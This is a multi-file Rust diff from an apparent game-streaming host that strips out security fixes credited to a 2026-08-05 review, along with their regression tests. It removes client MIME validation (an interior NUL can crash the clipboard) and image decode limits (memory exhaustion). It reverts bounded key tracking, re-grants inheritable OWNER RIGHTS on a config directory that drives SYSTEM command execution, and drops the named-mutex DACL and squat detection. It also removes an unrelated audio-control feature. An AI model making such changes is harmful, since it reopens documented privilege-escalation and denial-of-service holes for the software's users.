@@ -309,24 +309,6 @@ pub fn offer_wire_mimes(raw: &[String]) -> Vec<&'static str> {
    out
 }

-/// Whether a non-canonical, client-supplied MIME is safe to hand to Wayland as a string argument.
-///
-/// Deliberately strict: printable ASCII only (so no NUL and no other control byte can reach the
-/// `CString` in the generated encoder), bounded length, and it must actually look like a MIME type.
-/// A real `type/subtype[;params]` passes; nothing that could crash or confuse the compositor does.
-#[cfg(target_os = "linux")]
-fn valid_passthrough_mime(m: &str) -> bool {
-    let Some((ty, rest)) = m.split_once('/') else {
-        return false;
-    };
-    !ty.is_empty()
-        && !rest.is_empty()
-        && m.len() <= 255
-        // 0x21..=0x7E: printable ASCII without space. Excludes NUL, every other control byte, and
-        // any non-ASCII byte.
-        && m.bytes().all(|b| (0x21..=0x7E).contains(&b))
-}
-
 /// The Wayland MIMEs to advertise when installing a source for a client's offer. Each wire MIME
 /// expands to its canonical Wayland name(s); a rich-text-only offer also advertises `text/plain`
 /// so plain-text targets always paste (§3.5 synthesis — destination-side, one direction only).
@@ -360,17 +342,7 @@ pub fn wayland_offers_for(wire_mimes: &[String]) -> Vec<String> {
            WIRE_PNG => push("image/png"),
            WIRE_JPEG => push("image/jpeg"),
            WIRE_GIF => push("image/gif"),
-            // A MIME we don't canonicalize is passed through verbatim — so it is the one value on
-            // this path the CLIENT fully controls, and it ends up as a Wayland string argument.
-            // The wayland-scanner-generated request encoder builds a `CString` and `unwrap()`s it,
-            // so a single interior NUL turns one control message into a host clipboard panic
-            // (2026-08-05 review L-8). `String::from_utf8_lossy` on the wire preserves `\0`, so
-            // nothing upstream removes it. Validate here, at the boundary where the value stops
-            // being ours and becomes libwayland's.
-            other if valid_passthrough_mime(other) => push(other),
-            other => {
-                tracing::debug!(mime = %other.escape_debug(), "clipboard: dropping a malformed client MIME");
-            }
+            other => push(other),
        }
    }
    // Synthesis: rich text without plain text → also advertise plain (the source derives it lazily).
@@ -417,38 +389,6 @@ mod tests {
        assert_eq!(offer_wire_mimes(&raw), vec![WIRE_TEXT, WIRE_HTML]);
    }

-    /// One control message must not be able to panic the host clipboard coordinator
-    /// (2026-08-05 review L-8). The passthrough branch is the only place a client string becomes a
-    /// Wayland argument, and the generated encoder `unwrap()`s a `CString` built from it.
-    #[test]
-    fn passthrough_mimes_cannot_carry_a_nul_or_control_byte() {
-        // The crash payload: an interior NUL survives `String::from_utf8_lossy` on the wire.
-        assert!(!valid_passthrough_mime("image/webp\0"));
-        assert!(!valid_passthrough_mime("\0"));
-        assert!(!valid_passthrough_mime("image/\0webp"));
-        // Other control bytes and whitespace are refused for the same reason.
-        assert!(!valid_passthrough_mime("image/web\np"));
-        assert!(!valid_passthrough_mime("image/web p"));
-        assert!(!valid_passthrough_mime("image/web\tp"));
-        // Shapes that are not a MIME type at all.
-        assert!(!valid_passthrough_mime(""));
-        assert!(!valid_passthrough_mime("noslash"));
-        assert!(!valid_passthrough_mime("/nosubtype"));
-        assert!(!valid_passthrough_mime("notype/"));
-        assert!(!valid_passthrough_mime(&format!(
-            "image/{}",
-            "x".repeat(300)
-        )));
-        // Legitimate uncanonicalized MIMEs still pass through.
-        assert!(valid_passthrough_mime("image/webp"));
-        assert!(valid_passthrough_mime("application/x-custom+json"));
-        assert!(valid_passthrough_mime("text/plain;charset=utf-8"));
-
-        // End to end: the offer list is built without the malformed entry, and does not panic.
-        let offers = wayland_offers_for(&["image/webp\0".to_string(), WIRE_PNG.to_string()]);
-        assert_eq!(offers, vec!["image/png".to_string()]);
-    }
-
    #[test]
    fn pick_wayland_mime_prefers_canonical() {
        let avail = vec!["text/plain".to_string(), "UTF8_STRING".to_string()];
@@ -169,27 +169,7 @@ fn strip_trailing_nul(b: &[u8]) -> &[u8] {
 /// bytes (BITMAPINFOHEADER, 32bpp BGRA, BI_RGB, bottom-up). GIFs contribute their first frame.
 /// `None` when the bytes don't decode — the caller leaves the format unrendered (empty paste).
 pub fn image_to_dib(bytes: &[u8]) -> Option<Vec<u8>> {
-    // Bound the DECODE, not just the result.
-    //
-    // These bytes are client-supplied, and `load_from_memory` used the `image` crate's DEFAULT
-    // limits — 512 MiB of decode allowance — while the 32767 dimension check below only ran on the
-    // already-decoded image. So a small, valid PNG declaring enormous dimensions was allocated in
-    // full before anything rejected it: ~1000× amplification from a few KB of wire (2026-08-05
-    // review L-9). Limits applied here make the allocation refuse instead.
-    //
-    // The caps are the clipboard's own contract expressed up front: the same 32767 per side that
-    // is checked below (a CF_DIB cannot express more), and 256 MiB, which is more than the largest
-    // representable 32bpp image anyone pastes and far less than a memory-exhaustion primitive.
-    let mut limits = image::Limits::default();
-    limits.max_image_width = Some(32767);
-    limits.max_image_height = Some(32767);
-    limits.max_alloc = Some(256 * 1024 * 1024);
-    let reader = image::ImageReader::new(std::io::Cursor::new(bytes))
-        .with_guessed_format()
-        .ok()?;
-    let mut reader = reader;
-    reader.limits(limits);
-    let img = reader.decode().ok()?;
+    let img = image::load_from_memory(bytes).ok()?;
    let rgba = img.to_rgba8();
    let (w, h) = (rgba.width() as usize, rgba.height() as usize);
    if w == 0 || h == 0 || w > 32767 || h > 32767 {
@@ -24,20 +24,14 @@ const RENEW_EVERY: Duration = Duration::from_millis(1000);
 /// bundles rumble + lightbar + player-LEDs + adaptive-triggers into one report, so a pad that is
 /// merely *rumbling* re-sends its (unchanged) lightbar / LED / trigger state on every output report.
 /// The managers already dedup rumble; this does the same for the rich [`HidOutput`] feedback so the
-/// 0xCD plane carries only genuine changes. State (`Led` / `PlayerLeds` / `Trigger` / `AudioCtl`)
-/// is deduped by value; a one-shot `TrackpadHaptic` pulse is always forwarded (each pulse must
-/// fire).
+/// 0xCD plane carries only genuine changes. State (`Led` / `PlayerLeds` / `Trigger`) is deduped by
+/// value; a one-shot `TrackpadHaptic` pulse is always forwarded (each pulse must fire).
 #[derive(Clone, Default)]
 pub struct HidoutDedup {
    led: Option<(u8, u8, u8)>,
    player_leds: Option<u8>,
    /// Last-forwarded adaptive-trigger effect per side: `[0]` = L2, `[1]` = R2.
    trigger: [Option<Vec<u8>>; 2],
-    /// Last-forwarded audio-control state (`flags` + the raw volume/routing bytes).
-    audio_ctl: Option<(u8, [u8; 6])>,
-    /// Once-per-pad-lifetime field-diagnosis flag: set after the first forwarded `AudioCtl`
-    /// carrying the haptics-select bit was logged (cleared with the rest on (re)plug).
-    haptics_select_logged: bool,
    /// When anything was last put on the wire for this pad. `None` = nothing latched yet, so
    /// there is nothing to renew. See [`RENEW_EVERY`].
    last_sent: Option<Instant>,
@@ -129,25 +123,6 @@ impl HidoutDedup {
            }
            // One-shot haptic pulse (Steam voice-coil) — state-less, always fires.
            HidOutput::TrackpadHaptic { .. } => true,
-            HidOutput::AudioCtl { pad, flags, raw } => {
-                let v = Some((*flags, *raw));
-                if self.audio_ctl == v {
-                    false
-                } else {
-                    // Field-diagnosis signal, once per pad lifetime: a title driving the DS5's
-                    // audio haptics (not plain rumble emulation, whose all-zero audio region
-                    // never reaches here) — the trace that tells "the game does audio haptics"
-                    // apart from "the client just doesn't render them".
-                    if flags & 0x01 != 0 && !self.haptics_select_logged {
-                        self.haptics_select_logged = true;
-                        tracing::info!(
-                            "DS5 title asserted haptics-select (audio haptics) pad={pad}"
-                        );
-                    }
-                    self.audio_ctl = v;
-                    true
-                }
-            }
            // Raw as-is passthrough reports must NEVER dedup: the physical device's firmware
            // watchdogs RELY on identical periodic refreshes (Triton rumble re-sent every ~40 ms
            // against a ~50 ms safety timeout, lizard-off every ~3 s) — dropping a repeat would
@@ -327,29 +302,4 @@ mod tests {
        // The pulse stamped the clock but latched no state, so the renewal has nothing to repeat.
        assert!(d.renewals(0, t + Duration::from_millis(1000)).is_empty());
    }
-
-    /// `AudioCtl` dedups by value like the other state kinds: an identical repeat (every output
-    /// report re-sends the unchanged audio region) is dropped, a flags-only or raw-only change
-    /// forwards again, and `clear` re-arms — including the once-per-pad haptics-select log flag.
-    #[test]
-    fn audio_ctl_dedups_by_value() {
-        let mut d = HidoutDedup::default();
-        let t = Instant::now();
-        let audio = |flags, vol| HidOutput::AudioCtl {
-            pad: 0,
-            flags,
-            raw: [vol, 0, 0, 0, 0, 0],
-        };
-        // Identical twice → exactly one emission.
-        assert!(d.should_forward(&audio(0x17, 0x50), t));
-        assert!(!d.should_forward(&audio(0x17, 0x50), t));
-        // Either half changing (flags, or the raw region) forwards again.
-        assert!(d.should_forward(&audio(0x16, 0x50), t));
-        assert!(d.should_forward(&audio(0x16, 0x60), t));
-        // The other kinds' state is untouched by audio traffic.
-        assert!(d.should_forward(&HidOutput::PlayerLeds { pad: 0, bits: 1 }, t));
-        // `clear` (pad re-plug) re-arms the value dedup.
-        d.clear();
-        assert!(d.should_forward(&audio(0x16, 0x60), t));
-    }
 }
@@ -1022,21 +1022,10 @@ impl EiState {
            // Track held state on the wire codes so `release_all` can undo it at
            // session end (vanished clients must not leave anything latched).
            match ev.kind {
-                // Track the code we ACTUALLY INJECTED, not the raw wire code.
-                //
-                // Injection truncates (`vk_to_evdev(ev.code as u8)`), so 0x41, 0x141, 0x241 … all
-                // press the same key — but this list stored the full 32 bits, so a KeyUp for 0x41
-                // never matched the entry a KeyDown for 0x141 left behind. A client sending
-                // distinct high bytes therefore appended entries that could never be removed, to a
-                // `Vec` scanned linearly on every keystroke, for the lifetime of the injector
-                // thread — which outlives the session (2026-08-05 review L-4). Tracking the
-                // truncated code makes the list correct AND bounds it at 256 entries by
-                // construction. `release_all` re-injects through the same truncation, so the
-                // release path is unchanged.
-                InputKind::KeyDown if !self.held_keys.contains(&(ev.code & 0xff)) => {
-                    self.held_keys.push(ev.code & 0xff);
+                InputKind::KeyDown if !self.held_keys.contains(&ev.code) => {
+                    self.held_keys.push(ev.code);
                }
-                InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code & 0xff),
+                InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code),
                InputKind::MouseButtonDown if !self.held_buttons.contains(&ev.code) => {
                    self.held_buttons.push(ev.code);
                }
@@ -535,7 +535,7 @@ pub mod out_report {

 /// Parse a DualSense USB output report (`0x02`) into a [`DsFeedback`], indexed off
 /// [`out_report`]. Only the well-understood fields (motor rumble, lightbar RGB, player LEDs) are
-/// surfaced — adaptive-trigger blocks and the audio-control region are forwarded raw for the client.
+/// surfaced — adaptive-trigger blocks are forwarded raw for the client.
 ///
 /// Every field is gated on the report's valid-flags (`valid_flag0` at data[1], `valid_flag1`
 /// at data[2]) — writers only set the bits for fields they mean to change (the rest is zeroed),
@@ -592,21 +592,6 @@ pub fn parse_ds_output(pad: u8, data: &[u8], fb: &mut DsFeedback) {
            });
        }
    }
-    // The audio-control region (bytes 5..=10: headphone/speaker/mic volumes + routing), for the
-    // pad-audio path. The wire flags condense the report's audio bits: bit0 = haptics-select
-    // (flag0 BIT1 — set on every SDL rumble write too, which is why it alone never triggers an
-    // emission), bits1..4 = flag0 bits 4..7 (the audio-valid flags gating the region). Emitted
-    // whenever an audio-valid flag is present or the region carries data; downstream dedup
-    // ([`crate::hidout_dedup`]) reduces the per-report repeats to genuine changes.
-    let raw: [u8; 6] = data[5..11].try_into().unwrap();
-    if flag0 & 0xF0 != 0 || raw != [0u8; 6] {
-        let flags = ((flag0 >> 1) & 0x01) | ((flag0 >> 3) & 0x1E);
-        fb.hidout.push(HidOutput::AudioCtl {
-            pad: pad.into(),
-            flags,
-            raw,
-        });
-    }
 }

 #[cfg(test)]
@@ -932,48 +917,6 @@ mod tests {
        assert_eq!(*DUALSENSE_EDGE_RDESC.last().unwrap(), 0xC0);
    }

-    /// A 0x02 report driving the pad's audio (haptics-select + audio-valid flags + the volume/
-    /// routing bytes) surfaces an `AudioCtl` with the exact raw region and the condensed flags;
-    /// a plain rumble write (haptics-select but a silent audio region — every SDL rumble) does
-    /// NOT — that is what `parse_output_respects_valid_flags` pins with its `hidout.is_empty()`.
-    #[test]
-    fn parse_output_surfaces_audio_ctl() {
-        let mut data = vec![0u8; 48];
-        data[0] = 0x02;
-        data[1] = 0xB2; // flag0: haptics-select (BIT1) + audio-valid bits 4/5/7
-        data[5] = 0x50; // headphone volume
-        data[6] = 0x60; // speaker volume
-        data[7] = 0x70; // mic volume
-        data[8] = 0x05; // audio routing / enable bits
-        let mut fb = DsFeedback::default();
-        parse_ds_output(3, &data, &mut fb);
-        // flags: bit0 = flag0 bit1, bits1..4 = flag0 bits 4..7 (0b1011 → 0b10110).
-        assert_eq!(
-            fb.hidout,
-            vec![HidOutput::AudioCtl {
-                pad: 3,
-                flags: 0b1_0111,
-                raw: [0x50, 0x60, 0x70, 0x05, 0x00, 0x00],
-            }]
-        );
-        // A non-zero audio region with NO audio-valid flags still surfaces (dedup collapses the
-        // repeats downstream) — some writers leave stale volumes gated off; the host side wants
-        // the honest bytes either way.
-        let mut data = vec![0u8; 48];
-        data[0] = 0x02;
-        data[9] = 0x01;
-        let mut fb = DsFeedback::default();
-        parse_ds_output(0, &data, &mut fb);
-        assert_eq!(
-            fb.hidout,
-            vec![HidOutput::AudioCtl {
-                pad: 0,
-                flags: 0,
-                raw: [0, 0, 0, 0, 0x01, 0],
-            }]
-        );
-    }
-
    /// A short / wrong-id report yields nothing.
    #[test]
    fn parse_output_rejects_garbage() {
@@ -518,7 +518,6 @@ mod tests {
            index: 2,
            kind: 1,
            capabilities: 0,
-            audio_caps: 0,
        });
        assert!(m.slots.get(2).is_some());
    }
@@ -70,64 +70,11 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
    {
        let r = std::fs::create_dir_all(dir);
        #[cfg(windows)]
-        restrict_dir_to_system_admins(dir, first_hardening_of(dir));
+        restrict_dir_to_system_admins(dir);
        r
    }
 }

-/// Whether this is the first hardening pass of `dir` in this process — the pass that also does the
-/// expensive recursive re-own.
-///
-/// A planted config dir is planted once, before the host ever starts, so one deep pass at startup
-/// closes it; repeating it on every `create_private_dir` call (the library CRUD calls it per write)
-/// would re-walk the whole config tree — recordings, art cache — for nothing.
-#[cfg(windows)]
-fn first_hardening_of(dir: &std::path::Path) -> bool {
-    use std::collections::HashSet;
-    use std::sync::{Mutex, OnceLock};
-    static SEEN: OnceLock<Mutex<HashSet<PathBuf>>> = OnceLock::new();
-    SEEN.get_or_init(|| Mutex::new(HashSet::new()))
-        .lock()
-        .map(|mut s| s.insert(dir.to_path_buf()))
-        .unwrap_or(false)
-}
-
-/// Re-apply the secret-file DACL to a file that **already exists** — including re-owning it to
-/// Administrators.
-///
-/// [`write_secret_file`] hardens what it writes, but a file that was planted before the host first
-/// ran was never written by us: it is owned by whoever created it, and an owner always retains
-/// `WRITE_DAC`, so re-ACLing without re-owning leaves them able to put their access straight back.
-/// Used on startup for `host.env`, whose contents become the SYSTEM service's environment and
-/// command line (2026-08-05 review H-4). Best-effort and never fatal.
-#[cfg(windows)]
-pub fn restrict_existing_secret_file(path: &std::path::Path) {
-    if !path.exists() {
-        return;
-    }
-    let icacls = icacls_path();
-    let _ = std::process::Command::new(&icacls)
-        .arg(path.as_os_str())
-        .args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
-        .stdout(std::process::Stdio::null())
-        .stderr(std::process::Stdio::null())
-        .status();
-    restrict_to_system_admins(path);
-}
-
-/// No-op off Windows: POSIX modes are set at creation by [`write_secret_file`] and a config dir a
-/// non-root user pre-created is not a privilege boundary the way `%ProgramData%` is.
-#[cfg(not(windows))]
-pub fn restrict_existing_secret_file(_path: &std::path::Path) {}
-
-/// `icacls` by absolute path — a privileged service must never resolve it through `PATH`.
-#[cfg(windows)]
-fn icacls_path() -> String {
-    std::env::var("SystemRoot")
-        .map(|r| format!("{r}\\System32\\icacls.exe"))
-        .unwrap_or_else(|_| "icacls".to_string())
-}
-
 /// Best-effort Windows DACL lockdown of the config *directory* (the companion to
 /// [`restrict_to_system_admins`] for files). The default `%ProgramData%` ACL lets `BUILTIN\Users`
 /// create subfolders/files (and become `CREATOR OWNER`), so a non-admin could pre-create the
@@ -139,23 +86,17 @@ fn icacls_path() -> String {
 /// are additionally locked to SYSTEM/Admins by [`write_secret_file`]. Hard-coded SIDs
 /// (locale-independent) via the absolute `%SystemRoot%` path; never fatal.
 #[cfg(windows)]
-fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) {
-    let icacls = icacls_path();
-    // Reset ownership to Administrators first, so a dir a non-admin may have pre-created can't keep
-    // OWNER control (an owner always retains WRITE_DAC and can put its access straight back).
-    //
-    // `deep` (once per directory per process — see `first_hardening_of`) also re-owns the CONTENTS.
-    // Re-owning only the directory left every file the attacker had already created still owned by
-    // them, and therefore still theirs to rewrite, which is half of why the 2026-08-05 review's H-4
-    // was exploitable end to end. A planted tree is planted once, before the host first runs, so one
-    // deep pass at startup closes it without re-walking recordings and art cache on every write.
-    let mut own = std::process::Command::new(&icacls);
-    own.arg(dir.as_os_str())
-        .args(["/setowner", "*S-1-5-32-544"]); // BUILTIN\Administrators
-    if deep {
-        own.args(["/T", "/C", "/Q"]); // recurse, continue on error, quiet
-    }
-    let _ = own
+fn restrict_dir_to_system_admins(dir: &std::path::Path) {
+    let icacls = std::env::var("SystemRoot")
+        .map(|r| format!("{r}\\System32\\icacls.exe"))
+        .unwrap_or_else(|_| "icacls".to_string());
+    // Reset ownership of the directory object to Administrators first, so a dir a non-admin may have
+    // pre-created can't keep OWNER control (an owner can always rewrite the DACL). No `/T` — re-owning
+    // the dir itself is what defeats the pre-creation; recursing a large captures tree each call is
+    // needless churn (secret files are individually owner-locked by `write_secret_file`).
+    let _ = std::process::Command::new(&icacls)
+        .arg(dir.as_os_str())
+        .args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
        .stdout(std::process::Stdio::null())
        .stderr(std::process::Stdio::null())
        .status();
@@ -167,13 +108,8 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) {
            "*S-1-5-18:(OI)(CI)(F)", // NT AUTHORITY\SYSTEM
            "/grant:r",
            "*S-1-5-32-544:(OI)(CI)(F)", // BUILTIN\Administrators
-            // NO inheritable OWNER RIGHTS (`*S-1-3-4`) here, deliberately. It used to be granted
-            // `(OI)(CI)(F)`, which handed full control of every child object to whoever owned it —
-            // so a file a local user created before the hardening ran stayed writable by them even
-            // after the directory was re-owned (2026-08-05 review H-4, second half). SYSTEM and
-            // Administrators cover every account that legitimately writes here; a non-elevated
-            // manual run gets read-only config, which is the intended boundary rather than a
-            // regression — this directory drives command execution as SYSTEM.
+            "/grant:r",
+            "*S-1-3-4:(OI)(CI)(F)", // OWNER RIGHTS
            "/grant:r",
            "*S-1-5-32-545:(OI)(CI)(RX)", // BUILTIN\Users — read-only (no create/write → no plant)
        ])
@@ -194,19 +130,6 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) {
 /// Windows (the default `%ProgramData%` ACL is Users-readable). Mirrors the mgmt-token hardening; used
 /// for the host private key and the persisted trust stores so a local unprivileged user can neither
 /// read the key (impersonation) nor tamper with the paired allow-list (unauthorized pairing).
-///
-/// **Windows ordering caveat** (2026-08-05 review L-17): this is create-then-`icacls`, not
-/// create-with-DACL — `std::fs::OpenOptions` cannot pass a `SECURITY_ATTRIBUTES`, and this crate is
-/// `#![forbid(unsafe_code)]` so it cannot call `CreateFileW` itself. The file therefore exists
-/// briefly under its INHERITED ACL, and a failed `icacls` is a warning rather than an error.
-///
-/// What makes that acceptable is the DIRECTORY, and only the directory: every caller writes into
-/// the config dir, which [`create_private_dir`] now hardens unconditionally and BEFORE the first
-/// read of anything in it (review H-4/M-1), granting `BUILTIN\Users` read-only and no create. The
-/// inherited ACL a secret is born with is therefore already SYSTEM/Administrators-only, and the
-/// `icacls` below is defence in depth rather than the thing standing between a local user and the
-/// host key. Keep that ordering — if the directory hardening is ever moved back after a read, this
-/// window becomes real again.
 pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Result<()> {
    use std::io::Write;
    let mut opts = std::fs::OpenOptions::new();
@@ -237,7 +160,9 @@ pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Re
 /// `PATH`). Never fatal — on failure the file is simply left at the inherited ACL (today's behaviour).
 #[cfg(windows)]
 fn restrict_to_system_admins(path: &std::path::Path) {
-    let icacls = icacls_path();
+    let icacls = std::env::var("SystemRoot")
+        .map(|r| format!("{r}\\System32\\icacls.exe"))
+        .unwrap_or_else(|_| "icacls".to_string());
    let status = std::process::Command::new(icacls)
        .arg(path.as_os_str())
        .args([
@@ -66,11 +66,6 @@ pf-driver-proto = { path = "../pf-driver-proto" }
 bytemuck = { version = "1.19", features = ["derive"] }
 windows = { version = "0.62", features = [
    "Win32_Foundation",
-    # The single-instance mutex is created with an explicit SDDL DACL and its owner is checked, so
-    # a lower-privileged process (the LocalService plugin runner) can neither open it nor squat the
-    # name unnoticed — see manager/instance.rs (security-review 2026-08-05 L-16).
-    "Win32_Security",
-    "Win32_Security_Authorization",
    "Win32_Devices_DeviceAndDriverInstallation",
    "Win32_Devices_Display",
    "Win32_Graphics_Gdi",
@@ -2465,18 +2465,11 @@ pub fn ei_socket_file() -> std::path::PathBuf {
    crate::with_env_lock(pf_paths::gamescope_ei_socket_file)
 }

-/// Does this resolved launch command start the Steam **client**? Such a launch needs Steam's single
-/// instance free before a dedicated spawn (B1), and wants gamescope's `--steam` integration on.
-/// Pure + unit-tested.
-///
-/// The test is the first token, NOT the presence of a `steam://` URI. A `steam_ui` launcher entry
-/// (design D4) resolves to a bare `steam -gamepadui` / `steam` with no URI at all, and it is *more*
-/// exposed to the single-instance problem than a game launch is, not less: on a box that autologged
-/// into game mode, the nested second Steam would see the first and exit, taking the spawn down with
-/// it. A URI-gated check would silently skip both the instance free and `--steam` for exactly the
-/// launch that most needs them.
+/// Does this resolved launch command start Steam (`steam … steam://…`)? Such a launch needs Steam's
+/// single instance free before a dedicated spawn (B1). Pure + unit-tested.
 fn is_steam_launch(cmd: &str) -> bool {
-    cmd.split_whitespace().next() == Some("steam")
+    let mut it = cmd.split_whitespace();
+    it.next() == Some("steam") && cmd.contains("steam://")
 }

 /// Shape a resolved launch command for a bare-spawn gamescope session. A Steam URI launch
@@ -2872,13 +2865,7 @@ mod tests {
        assert!(is_steam_launch("steam -silent steam://rungameid/570"));
        assert!(!is_steam_launch("vkcube"));
        assert!(!is_steam_launch("lutris lutris:rungameid/42"));
-        // A `steam_ui` LAUNCHER entry (design D4) carries no URI, and must still count: it needs the
-        // single instance freed (B1) and gamescope's `--steam` mode on. Gating on `steam://` would
-        // have skipped both for the one launch that is Big Picture itself.
-        assert!(is_steam_launch("steam -gamepadui"));
-        assert!(is_steam_launch("steam"));
-        // A command that merely mentions steam elsewhere is not a Steam client launch.
-        assert!(!is_steam_launch("mygame --steam-overlay"));
+        assert!(!is_steam_launch("steam -bigpicture")); // no URI = not a game launch
    }

    #[test]
@@ -2904,13 +2891,6 @@ mod tests {
            shape_dedicated_command("steam -bigpicture"),
            "steam -bigpicture"
        );
-        // The `steam_ui` launcher entries (design D4) pass through untouched — the shaping only ever
-        // fires on a `steam://` game launch, so there is no way to end up with `-gamepadui` twice.
-        assert_eq!(
-            shape_dedicated_command("steam -gamepadui"),
-            "steam -gamepadui"
-        );
-        assert_eq!(shape_dedicated_command("steam"), "steam");
    }

    #[test]
@@ -3,7 +3,6 @@
 //! `IOCTL_CLEAR_ALL` and razing the live host's monitors mid-stream.

 use super::*;
-use windows::Win32::Security::{PSECURITY_DESCRIPTOR, SECURITY_ATTRIBUTES};

 /// The held single-instance mutex (`None` until claimed). Process-global — not per-manager — so the
 /// serve path can claim it EAGERLY at startup, before any session opens the backend: the claim is
@@ -41,40 +40,16 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
         machine — refusing to touch the driver (a second manager's startup CLEAR_ALL would raze \
         the live host's monitors mid-stream). Stop the other instance (e.g. `punktfunk-host \
         service stop`) first.";
-    // A name in `Global\` is creatable by ANY principal holding SeCreateGlobalPrivilege — which
-    // includes the LocalService account the plugin runner is forced to (plugins.rs). With `None`
-    // security attributes this object took the DACL from the creating token's default, and a
-    // squatter who got there first (creating the name with a DACL that denies SYSTEM) permanently
-    // and silently disabled every virtual-display session: the host lands in the ACCESS_DENIED arm
-    // below and reports a perfectly reasonable "another instance is managing the driver", which
-    // sends the operator hunting a process that does not exist (2026-08-05 review L-16).
-    //
-    // Two changes: create with an EXPLICIT DACL so lesser principals cannot open ours, and check
-    // the OWNER of a name that already exists so a squat is reported as a squat.
-    let sd = security_descriptor()?;
-    let sa = SECURITY_ATTRIBUTES {
-        nLength: std::mem::size_of::<SECURITY_ATTRIBUTES>() as u32,
-        lpSecurityDescriptor: sd.0,
-        bInheritHandle: false.into(),
-    };
-    // SAFETY: plain FFI create of a named mutex; `sa` (and the descriptor it points at) outlives
-    // the call, the returned handle (checked) is solely owned by the `OwnedHandle`, and
-    // `GetLastError` is read immediately after the create — the documented ERROR_ALREADY_EXISTS
-    // protocol for pre-existing named objects.
+    // SAFETY: plain FFI create of a named mutex; the returned handle (checked) is solely owned by
+    // the `OwnedHandle`, and `GetLastError` is read immediately after the create — the documented
+    // ERROR_ALREADY_EXISTS protocol for pre-existing named objects.
    unsafe {
-        let h = match CreateMutexW(Some(&sa), false, w!("Global\\punktfunk-vdisplay-manager")) {
+        let h = match CreateMutexW(None, false, w!("Global\\punktfunk-vdisplay-manager")) {
            Ok(h) => h,
            // The name exists but its creator's DACL denies this token the implicit OPEN (the SCM
            // service creates it as SYSTEM; a second elevated-admin host lands here instead of in
-            // the ALREADY_EXISTS branch — validated on-glass). Legitimately that means an instance
-            // is live; it is ALSO exactly what a squat looks like, so say both.
-            Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!(
-                "{IN_USE}\n\nIf no other punktfunk-host is running, the name \
-                 `Global\\punktfunk-vdisplay-manager` has been SQUATTED by another process — any \
-                 account with SeCreateGlobalPrivilege can create it first and deny us access, \
-                 which disables virtual-display streaming until that process exits. Find the \
-                 holder with Sysinternals `handle.exe -a punktfunk-vdisplay-manager`."
-            ),
+            // the ALREADY_EXISTS branch — validated on-glass). Same meaning: an instance is live.
+            Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!("{IN_USE}"),
            Err(e) => {
                return Err(e).context("CreateMutexW(punktfunk-vdisplay single-instance guard)");
            }
@@ -82,114 +57,8 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
        let already = GetLastError() == ERROR_ALREADY_EXISTS;
        let owned = OwnedHandle::from_raw_handle(h.0 as _);
        if already {
-            // We opened an existing object — so its DACL let us in, but that says nothing about
-            // who created it. If the owner is not SYSTEM/Administrators it is not one of ours.
-            if let Some(owner) = object_owner_sid(h) {
-                if !is_privileged_sid(&owner) {
-                    anyhow::bail!(
-                        "the pf-vdisplay single-instance name is held by a NON-ADMINISTRATIVE \
-                         process (owner SID {owner}) — this is not another punktfunk-host, it is a \
-                         squat on `Global\\punktfunk-vdisplay-manager`, and it blocks all \
-                         virtual-display streaming while it is held."
-                    );
-                }
-            }
            anyhow::bail!("{IN_USE}");
        }
        Ok(owned)
    }
 }
-
-/// `D:P(A;;GA;;;SY)(A;;GA;;;BA)` — a protected DACL (no inheritance) granting Full to SYSTEM and
-/// BUILTIN\Administrators, and to nobody else. Everything that legitimately manages pf-vdisplay is
-/// one of those two; a LocalService plugin runner is neither, so it can no longer open our object.
-fn security_descriptor() -> Result<LocalSd> {
-    use windows::Win32::Security::Authorization::ConvertStringSecurityDescriptorToSecurityDescriptorW;
-    use windows::Win32::Security::Authorization::SDDL_REVISION_1;
-    let mut psd = PSECURITY_DESCRIPTOR::default();
-    // SAFETY: the SDDL literal is NUL-terminated (`w!`), and `psd` is a live out-param whose
-    // allocation is taken over by `LocalSd` below.
-    unsafe {
-        ConvertStringSecurityDescriptorToSecurityDescriptorW(
-            w!("D:P(A;;GA;;;SY)(A;;GA;;;BA)"),
-            SDDL_REVISION_1,
-            &mut psd,
-            None,
-        )
-    }
-    .context("build the pf-vdisplay single-instance security descriptor")?;
-    Ok(LocalSd(psd.0))
-}
-
-/// Owns a `LocalAlloc`'d security descriptor and frees it on drop.
-struct LocalSd(*mut core::ffi::c_void);
-
-impl Drop for LocalSd {
-    fn drop(&mut self) {
-        if !self.0.is_null() {
-            // SAFETY: the pointer came from ConvertStringSecurityDescriptorToSecurityDescriptorW,
-            // which documents LocalFree as the matching deallocation.
-            unsafe {
-                let _ = windows::Win32::Foundation::LocalFree(Some(
-                    windows::Win32::Foundation::HLOCAL(self.0),
-                ));
-            }
-            self.0 = std::ptr::null_mut();
-        }
-    }
-}
-
-/// The owner SID of a kernel object, as an SDDL string. `None` when it cannot be read (the handle
-/// lacks READ_CONTROL) — treated as "unknown", never as "fine".
-fn object_owner_sid(h: HANDLE) -> Option<String> {
-    use windows::Win32::Foundation::{LocalFree, HLOCAL};
-    use windows::Win32::Security::Authorization::{
-        ConvertSidToStringSidW, GetSecurityInfo, SE_KERNEL_OBJECT,
-    };
-    use windows::Win32::Security::{OWNER_SECURITY_INFORMATION, PSID};
-
-    let mut owner = PSID::default();
-    let mut sd = PSECURITY_DESCRIPTOR::default();
-    // SAFETY: `h` is the live mutex handle; the out-params are live locals; `sd` is the single
-    // allocation and is LocalFree'd below.
-    let rc = unsafe {
-        GetSecurityInfo(
-            h,
-            SE_KERNEL_OBJECT,
-            OWNER_SECURITY_INFORMATION,
-            Some(&mut owner),
-            None,
-            None,
-            None,
-            Some(&mut sd),
-        )
-    };
-    let out = if rc.is_ok() && !owner.is_invalid() {
-        let mut sid_str = windows::core::PWSTR::null();
-        // SAFETY: `owner` points into `sd` and is a valid SID; `sid_str` is a live out-param whose
-        // LocalAlloc'd string is freed immediately below.
-        unsafe {
